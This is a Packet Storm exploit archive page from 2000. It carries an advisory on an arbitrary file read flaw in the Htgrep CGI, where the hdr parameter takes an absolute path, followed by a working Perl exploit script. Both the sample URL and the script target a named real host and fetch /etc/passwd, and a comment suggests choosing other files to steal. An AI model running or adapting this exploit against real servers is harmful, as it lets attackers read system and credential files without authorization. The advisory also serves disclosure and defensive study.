exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

htgrep.c

htgrep.c
Posted Aug 21, 2000
Authored by n30

Htgrep has a vulnerability which allows a remote user to read arbitrary files on the system with the priviledge of the user running the program.

tags | exploit, remote, arbitrary
SHA-256 | c01230dec2a91deb2f424d3380ac2843757db64552164f3d93bd6365f519b20b

htgrep.c

Change Mirror Download
Software: Htgrep
URL: http://www.iam.unibe.ch/~scg/Src/Doc/
Version: All Versions
Platforms: Unix
Author status: Notified

Summary:

Any remote user can view arbitrary files on the system with the
privileges of the web user

Vulnerability:

The CGI allows a user to specify a header and footer file to be
appended to the search output, this file should be located in the wwwroot
which is specified in the script itself. Any attempt to specify a header
or footer file by using backwards directory referencing is trapped. Although
it is possible to specify a file using an absolute path.

Exploit:

http://www.dematel.com/cgibin/htgrep/file=index.html&hdr=/etc/passwd

The File /etc/passwd will be displayed instead of the default header
file.

Fixes:

The author has been notified, it is likely that an update will be
available shortly.

n30
n30@gmx.co.uk

Exploit Follows:
---------------------------------CUT-------------------------------------

#!/usr/local/bin/perl
#
# Htgrep EXPLOIT Script by n30 17/8/2000
#
# For: Unix/Linux all Distro's
# maybe Winnt?? anyone??
#
# Versions: All upto latest: htgrep v3.0
#
# Info: to find the version number being used:
#
# www.server.com/cgi-bin/htgrep/version
#
# Some ppl use a wrapper for the script thusly
# eliminating the file argument, the sploit will
# still werk just add &hdr=<filename> to the end :-)
#
# if &isindex=<text> is present in the URL REMOVE IT!!!
# or else the exploit won't werk :-)
#
# Mail : n30@gmx.co.uk

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $ua = new LWP::UserAgent;

# *************************************************
my $TargetHost="www.dematel.com";
my $TargetPath="/cgibin/htgrep";
# SearchFile can commonly be index.html or some other file in the wwwroot
my $SearchFile="index.html";
# FiletoGet ?? think for ur self :-)
my $FiletoGet="/etc/passwd";
# **************************************************

my $url="http://".$TargetHost.$TargetPath."/file=$SearchFile&hdr=$FiletoGet";

print("\nHtgrep Arbitrary File Reading Vulnerability EXPLOIT /n30\n\n");

print("URL: $url\n\n");

my $request = new HTTP::Request('GET', $url);
my $response = $ua->request($request);
if ($response->is_success) {
print $response->content;
} else {
print $response->error_as_HTML;
}

# Definitely NOT Hack.co.za #
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close